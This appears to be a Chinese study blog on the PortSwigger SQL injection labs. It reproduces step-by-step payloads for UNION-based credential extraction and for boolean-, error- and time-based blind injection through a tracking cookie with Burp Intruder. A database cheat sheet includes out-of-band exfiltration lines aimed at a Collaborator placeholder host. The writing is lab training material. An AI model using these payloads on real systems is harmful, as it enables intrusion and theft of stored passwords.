前言
在本次靶场开始联系之前,已经学习了sqli-labs,pikachu,DVWA三个靶场,在学习portswigger的时候,我准备从较为熟悉的sqli注入部分开始
一,sqli注入
1,检索隐藏数据
此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
若要解决实验室问题,请执行 SQL 注入攻击,导致应用程序显示一个或多个未发布的产品。
2,颠覆应用程序逻辑
想象一个允许用户使用用户名和密码登录的应用程序。如果用户提交用户名和密码,应用程序将通过执行以下 SQL 查询来检查凭据:wiener
bluecheese
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
如果查询返回用户的详细信息,则登录成功。否则,将被拒绝。
在这种情况下,攻击者可以以任何用户身份登录,而无需密码。他们可以使用 SQL 注释序列从查询子句中删除密码检查来执行此操作。例如,提交用户名和空白密码会导致以下查询:--
WHERE
administrator'--
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
这里我们可以看出与第一个实验室大致相同,考察的还是闭合方式和注释,但是本实验室主要是想告诉我们方法,比如说在进行账户密码验证的时候,如果采用了以上的语句,我们直接可以通过注释掉后面的验证从而只使用用户名就可以登录,为我们打开了思路
这里依然是使用bp进行抓包,这里在username之后加入'--将密码注释掉,就会只根据用户名进行查询,然后就可以登录成功
3,SQL 注入 UNION 攻击,确定查询返回的列数
此实验室在产品类别筛选器中包含 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。此类攻击的第一步是确定查询返回的列数。然后,您将在后续实验室中使用此技术来构建完整攻击。
若要解决实验室问题,请通过执行返回包含 null 值的附加行的 SQL 注入 UNION 攻击来确定查询返回的列数。
此实验室主要考察的是如何使用联合注入,而在讲解中为我们提供了两种方法,一种方法是通过熟知order by语句查询,另外的一种方法是使用union select null,null,null空值域与列数不匹配就会返回错误,这里我们进入实验室依次尝试
在使用order by语句的时候发现在数字到4的时候返回错误,说明一共有三列,接下来尝试union select 语句果然效果相同,只有在空值数量为三时网页会返回正常值,本实验成功
4,各数据库之间的区别oracle数据库
Oracle | 'foo'||'bar' |
---|---|
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 'foo' 'bar' [Note the space between the two strings]CONCAT('foo','bar') |
Oracle | SUBSTR('foobar', 4, 2) |
---|---|
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
Oracle | --comment |
---|---|
Microsoft | --comment |
PostgreSQL | --comment |
MySQL | #comment -- comment [Note the space after the double dash]/*comment*/ |
Oracle | SELECT banner FROM v$version |
---|---|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
Oracle | SELECT * FROM all_tables |
---|---|
Microsoft | SELECT * FROM information_schema.tables |
PostgreSQL | SELECT * FROM information_schema.tables |
MySQL | SELECT * FROM information_schema.tables |
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
---|---|
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') |
---|---|
PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) |
Oracle | Does not support batched queries. |
---|---|
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
---|---|
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
Oracle | (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
---|---|
Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
MySQL | The following techniques work on Windows only: LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
---|---|
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
这里就是比较陌生的部分了,因为从前都是mysql数据库,对于别的数据库了解有限,所以应该对oracle数据库进行一定的了解
在 Oracle 上,每个查询都必须使用该关键字并指定有效的表。Oracle 上有一个内置表,称为可用于此目的。因此,在 Oracle 上注入的查询需要如下所示:SELECT
FROM
dual
' UNION SELECT NULL FROM DUAL--
所描述的有效负载使用双短划线注释序列在注入点之后注释掉原始查询的其余部分。在MySQL上,双破折号序列后必须跟一个空格。或者,哈希字符可用于标识注释。--
#
通过将值连接在一起,可以在此单个列中一起检索多个值。可以包含分隔符以区分组合值。例如,在 Oracle 上,您可以提交输入:
' UNION SELECT username || '~' || password FROM users--
这使用双管道序列,该序列是 Oracle 上的字符串连接运算符。注入的查询将 和 字段的值连接在一起,用字符分隔。||
username
password
~
查询结果包含所有用户名和密码,例如:
... administrator~s3cure wiener~peter carlos~montoya ...
5,SQL 注入 UNION 攻击,查找包含文本的列
这里依然是比较熟悉的部分,使用联合注入查看包含文本的列
代码部分使用'union select a,b,c观看abc出现的位置即可,前提是我们使用之前的方法判断有几列
使用之前的方法判断出有三列之后,使用靶场提供的随机数在三个空值部分进行尝试,注意带上引号,最后发现在中间的时候会返回正确的值,并且在物品栏中显示出来,而这就是我们可以进行注入sqli语句而产生回显的地方
6,SQL 注入 UNION 攻击,从其他表中检索数据
此实验室在产品类别筛选器中包含 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。若要构建此类攻击,需要结合在以前的实验室中学到的一些技术。
数据库包含一个名为users
的不同表,其中的列名为 username
和password
若要解决实验室问题,请执行 SQL 注入 UNION 攻击,该攻击检索所有用户名和密码,并使用这些信息以用户身份登录。administrator
经过之前方法的验证,发现一共有两列,这时我们由于提前得知了表名和列名,所以在这里我们直接使用注入语句,‘union select username,password from users-- 由此,id和密码就显示出来了,我们使用这个id和密码进行登录
7,SQL 注入 UNION 攻击,在单个列中检索多个值
此实验室在产品类别筛选器中包含 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
数据库包含一个名为 的不同表,其中的列名为 和 。users
username
password
若要解决实验室问题,请执行 SQL 注入 UNION 攻击,该攻击检索所有用户名和密码,并使用这些信息以用户身份登录。administrator
在某些情况下,上一示例中的查询可能只返回单个列。
通过将值连接在一起,可以在此单个列中一起检索多个值。可以包含分隔符以区分组合值。例如,在 Oracle 上,您可以提交输入:
' UNION SELECT username || '~' || password FROM users--
这使用双管道序列,该序列是 Oracle 上的字符串连接运算符。注入的查询将 和 字段的值连接在一起,用字符分隔。||
username
password
~
查询结果包含所有用户名和密码,例如:
... administrator~s3cure wiener~peter carlos~montoya ...
不同的数据库使用不同的语法来执行字符串串联。有关更多详细信息,请参阅 SQL 注入备忘单
在本题中,我们只需要将注入语句改变成
GET /filter?category=Gifts'union select null,username || '~' || password from users--
就会显现出三个不同的账号密码,输入即可成功
8,查看数据库类型和版本
Database type | Query |
Microsoft, MySQL | SELECT @@version |
Oracle | SELECT * FROM v$version |
PostgreSQL | SELECT version() |
这里我们进入实验室,发现之前的方法报错,由回显我们可以判断是因为注释符号失效了,这里我们采用#进行注释。发现注释成功,接下来改变其中一个空值,由于本实验室数据库类型为Microsoft, MySQL,所以我们使用SELECT @@version
这里要注意将语句放在回显位,这样才能显示出数据库版本
9,SQL注入攻击,列出非Oracle数据库上的数据库内容
此实验室在产品类别筛选器中包含 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。
该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定此表的名称及其包含的列,然后检索表的内容以获取所有用户的用户名和密码。
要解决实验室问题,请以用户身份登录。administrator
这里我们找到列之后,使用语句
union select table_name from information_schema.tables
union select column_name from information_schema.columns where table_name='xxxxx'
'union select password_hoaalv,username_ctayzb from 'users_vjkfrf'--
得出用户密码
10,使用条件响应的盲SQL注入
- 访问商店的首页,并使用Burp Suite拦截和修改包含cookie的请求。为简单起见,假设 cookie 的原始值为 。
TrackingId
TrackingId=xyz
-
修改 Cookie,将其更改为:
TrackingId
TrackingId=xyz' AND '1'='1
验证响应中是否显示“欢迎回来”消息。
-
现在将其更改为:
TrackingId=xyz' AND '1'='2
验证响应中是否未显示“欢迎回来”消息。这演示了如何测试单个布尔条件并推断结果。
-
现在将其更改为:
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
验证条件是否为真,确认存在一个名为 的表。
users
-
现在将其更改为:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
验证条件是否为 true,确认存在名为 的用户。
administrator
-
下一步是确定用户密码中有多少个字符。为此,请将值更改为:
administrator
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
此条件应为 true,确认密码长度大于 1 个字符。
-
发送一系列后续值以测试不同的密码长度。发送:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a
然后发送:
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a
等等。您可以使用打嗝中继器手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您已经确定了密码的长度,实际上是 20 个字符长。
- 确定密码的长度后,下一步是测试每个位置的字符以确定其值。这涉及更多的请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送给 Burp Intruder。
-
在“打嗝入侵者”的“位置”选项卡中,将 Cookie 的值更改为:
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
这使用该函数从密码中提取单个字符,并根据特定值对其进行测试。我们的攻击将循环遍历每个位置和可能的值,依次测试每个位置和可能的值。
SUBSTRING()
-
在 Cookie 值中的最后一个字符周围放置有效负载位置标记。为此,请仅选择 ,然后单击“添加 §”按钮。然后,您应该看到以下内容作为 cookie 值(请注意有效负载位置标记):
a
a
TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
- 要测试每个位置的角色,您需要在定义的有效负载位置发送合适的有效负载。您可以假定密码仅包含小写字母数字字符。转到“有效负载”选项卡,检查是否选择了“简单列表”,然后在“有效负载设置”下添加范围 a - z 和 0 - 9 的有效负载。您可以使用“从列表中添加”下拉菜单轻松选择这些。
- 为了能够判断何时提交了正确的字符,您需要对每个响应进行 grep 表达式“欢迎回来”。为此,请转到“设置”选项卡和“Grep - 匹配”部分。清除列表中的任何现有条目,然后添加值“欢迎回来”。
- 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来启动攻击。
- 查看攻击结果以找到第一个位置的角色值。您应该在结果中看到一个名为“欢迎回来”的列。其中一行应在此列中勾号。为该行显示的有效负载是第一个位置的字符值。
-
现在,您只需要对密码中的其他每个字符位置重新运行攻击,即可确定其值。为此,请返回主 Burp 窗口和 Burp 入侵者的“位置”选项卡,并将指定的偏移量从 1 更改为 2。然后,您应该看到以下内容作为 cookie 值:
TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
- 启动修改后的攻击,查看结果,并记下第二个偏移处的字符。
- 继续此过程测试偏移量 3、4 等,直到获得整个密码。
- 在浏览器中,单击“我的帐户”以打开登录页面。使用密码以用户身份登录。
administrator
11,具有条件错误的盲SQL注入
- 访问商店的首页,并使用Burp Suite拦截和修改包含cookie的请求。为简单起见,假设 cookie 的原始值为 。
TrackingId
TrackingId=xyz
-
修改 cookie,在其后附加一个引号:
TrackingId
TrackingId=xyz'
验证是否收到错误消息。
- 现在将其更改为两个引号:验证错误是否消失。这表明语法错误(在本例中为未闭合引号)对响应具有可检测的影响。
TrackingId=xyz''
-
您现在需要确认服务器将注入解释为 SQL 查询,即该错误是 SQL 语法错误,而不是任何其他类型的错误。为此,首先需要使用有效的 SQL 语法构造子查询。尝试提交:
TrackingId=xyz'||(SELECT '')||'
在这种情况下,请注意查询似乎仍然无效。这可能是由于数据库类型造成的 - 尝试在查询中指定可预测的表名:
TrackingId=xyz'||(SELECT '' FROM dual)||'
由于不再收到错误,这表示目标可能正在使用 Oracle 数据库,这要求所有语句显式指定表名。
SELECT
-
现在,您已经构建了看似有效的查询,请尝试提交无效查询,同时仍保留有效的 SQL 语法。例如,尝试查询不存在的表名:
TrackingId=xyz'||(SELECT '' FROM not-a-real-table)||'
这一次,将返回错误。此行为强烈表明后端正在将注入作为 SQL 查询进行处理。
-
只要确保始终注入语法有效的 SQL 查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证表是否存在,请发送以下查询:
users
TrackingId=xyz'||(SELECT '' FROM users WHERE ROWNUM = 1)||'
由于此查询不返回错误,因此可以推断此表确实存在。请注意,此处的条件很重要,以防止查询返回多行,这会破坏我们的串联。
WHERE ROWNUM = 1
-
您还可以利用此行为来测试条件。首先,提交以下查询:
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
验证是否收到错误消息。
-
现在将其更改为:
TrackingId=xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
验证错误是否消失。这表明您可以根据特定条件的真实情况有条件地触发错误。该语句测试一个条件,如果条件为真,则计算一个表达式,如果条件为 false,则计算另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件和 ,当条件为 时会收到错误。
CASE
1=1
1=2
true
-
可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询检查用户名是否存在:
administrator
TrackingId=xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
验证条件是否为 true(收到错误),确认存在名为 的用户。
administrator
-
下一步是确定用户密码中有多少个字符。为此,请将值更改为:
administrator
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'
此条件应为 true,确认密码长度大于 1 个字符。
-
发送一系列后续值以测试不同的密码长度。发送:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
然后发送:
TrackingId=xyz'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
等等。您可以使用打嗝中继器手动执行此操作,因为长度可能很短。当条件不再为真时(即当错误消失时),您已经确定了密码的长度,实际上是 20 个字符长。
- 确定密码的长度后,下一步是测试每个位置的字符以确定其值。这涉及更多的请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送给 Burp Intruder。
-
在“打嗝入侵者”的“位置”选项卡中,将 Cookie 的值更改为:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
这使用该函数从密码中提取单个字符,并根据特定值对其进行测试。我们的攻击将循环遍历每个位置和可能的值,依次测试每个位置和可能的值。
SUBSTR()
-
在 Cookie 值中的最后一个字符周围放置有效负载位置标记。为此,请仅选择 ,然后单击“添加 §”按钮。然后,您应该看到以下内容作为 cookie 值(请注意有效负载位置标记):
a
a
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- 要测试每个位置的角色,您需要在定义的有效负载位置发送合适的有效负载。您可以假定密码仅包含小写字母数字字符。转到“有效负载”选项卡,检查是否选择了“简单列表”,然后在“有效负载设置”下添加范围 a - z 和 0 - 9 的有效负载。您可以使用“从列表中添加”下拉菜单轻松选择这些。
- 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来启动攻击。
- 查看攻击结果以找到第一个位置的角色值。发生错误时,应用程序返回 HTTP 500 状态代码,正常返回 HTTP 200 状态代码。入侵者结果中的“状态”列显示HTTP状态代码,因此您可以轻松找到此列中带有500的行。为该行显示的有效负载是第一个位置的字符值。
-
现在,您只需要对密码中的其他每个字符位置重新运行攻击,即可确定其值。为此,请返回主 Burp 窗口和 Burp 入侵者的“位置”选项卡,并将指定的偏移量从 1 更改为 2。然后,您应该看到以下内容作为 cookie 值:
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
- 启动修改后的攻击,查看结果,并记下第二个偏移处的字符。
- 继续此过程测试偏移量 3、4 等,直到获得整个密码。
- 在浏览器中,单击“我的帐户”以打开登录页面。使用密码以用户身份登录。
administrator
12,可见的基于错误的 SQL 注入
-
在中继器中,将单引号附加到 Cookie 的值并发送请求。
TrackingId
TrackingId=ogAZZfxtOKUELbuJ'
- 在响应中,请注意详细的错误消息。这公开了完整的SQL查询,包括您的cookie的值。它还解释了您有一个未闭合的字符串文本。观察您的注入是否出现在单引号字符串内。
-
在请求中,添加注释字符以注释掉查询的其余部分,包括导致错误的多余单引号字符:
TrackingId=ogAZZfxtOKUELbuJ'--
- 发送请求。确认您不再收到错误。这表明查询现在在语法上有效。
-
调整查询以包含泛型子查询,并将返回值强制转换为数据类型:
SELECT
int
TrackingId=ogAZZfxtOKUELbuJ' AND CAST((SELECT 1) AS int)--
- 发送请求。请注意,您现在收到一个不同的错误,指出条件必须是布尔表达式。
AND
-
相应地修改条件。例如,您可以简单地添加比较运算符 (),如下所示:
=
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT 1) AS int)--
- 发送请求。确认您不再收到错误。这表明这又是一个有效的查询。
-
调整泛型语句,以便它从数据库中检索用户名:
SELECT
TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)--
- 观察到您再次收到初始错误消息。请注意,由于字符限制,查询现在似乎被截断了。因此,不包括为修复查询而添加的注释字符。
-
删除 Cookie 的原始值以释放一些额外的字符。重新发送请求。
TrackingId
TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)--
- 请注意,您会收到一条新的错误消息,该消息似乎是由数据库生成的。这表明查询已正确运行,但您仍然收到错误,因为它意外返回了多行。
-
修改查询以仅返回一行:
TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)--
-
发送请求。请注意,错误消息现在会泄漏表中的第一个用户名:
users
ERROR: invalid input syntax for type integer: "administrator"
-
现在您知道 是表中的第一个用户,请再次修改查询以泄露其密码:
administrator
TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--
- 使用被盗密码登录以解决实验室问题。
administrator
13,具有时间延迟和信息检索的盲SQL注入
- 访问商店的首页,并使用Burp Suite拦截和修改包含cookie的请求。
TrackingId
-
修改 Cookie,将其更改为:
TrackingId
TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
验证应用程序是否需要 10 秒才能响应。
-
现在将其更改为:
TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--
验证应用程序是否立即响应,没有时间延迟。这演示了如何测试单个布尔条件并推断结果。
-
现在将其更改为:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
验证条件是否为 true,确认存在名为 的用户。
administrator
-
下一步是确定用户密码中有多少个字符。为此,请将值更改为:
administrator
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
此条件应为 true,确认密码长度大于 1 个字符。
-
发送一系列后续值以测试不同的密码长度。发送:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
然后发送:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>3)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
等等。您可以使用打嗝中继器手动执行此操作,因为长度可能很短。当条件不再为 true 时(即当应用程序立即响应而没有时间延迟时),您已经确定了密码的长度,实际上是 20 个字符长。
- 确定密码的长度后,下一步是测试每个位置的字符以确定其值。这涉及更多的请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送给 Burp Intruder。
-
在“打嗝入侵者”的“位置”选项卡中,将 Cookie 的值更改为:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
这使用该函数从密码中提取单个字符,并根据特定值对其进行测试。我们的攻击将循环遍历每个位置和可能的值,依次测试每个位置和可能的值。
SUBSTRING()
-
在 Cookie 值中的字符周围放置有效负载位置标记。为此,请仅选择 ,然后单击“添加 §”按钮。然后,您应该看到以下内容作为 cookie 值(请注意有效负载位置标记):
a
a
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- 要测试每个位置的角色,您需要在定义的有效负载位置发送合适的有效负载。您可以假定密码仅包含小写字母数字字符。转到“有效负载”选项卡,检查是否选择了“简单列表”,然后在“有效负载设置”下添加范围 a - z 和 0 - 9 的有效负载。您可以使用“从列表中添加”下拉菜单轻松选择这些。
- 为了能够知道何时提交了正确的字符,您需要监视应用程序响应每个请求所需的时间。为了使此过程尽可能可靠,您需要将入侵者攻击配置为在单个线程中发出请求。为此,请转到“资源池”选项卡,并将攻击添加到“最大并发请求数”设置为 的资源池中。
1
- 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来启动攻击。
- Burp 入侵者监视接收应用程序响应所花费的时间,但默认情况下它不显示此信息。要查看它,请转到“列”菜单,然后选中“收到的响应”框。
- 查看攻击结果以找到第一个位置的角色值。您应该会在结果中看到一个名为“收到的响应”的列。这通常包含一个小数字,表示应用程序响应所花费的毫秒数。其中一行在此列中的数字应较大,在 10,000 毫秒的范围内。为该行显示的有效负载是第一个位置的字符值。
-
现在,您只需要对密码中的其他每个字符位置重新运行攻击,即可确定其值。为此,请返回主 Burp 窗口和 Burp 入侵者的“位置”选项卡,并将指定的偏移量从 1 更改为 2。然后,您应该看到以下内容作为 cookie 值:
TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,2,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
- 启动修改后的攻击,查看结果,并记下第二个偏移处的字符。
- 继续此过程测试偏移量 3、4 等,直到获得整个密码。
- 在浏览器中,单击“我的帐户”以打开登录页面。使用密码以用户身份登录。
administrator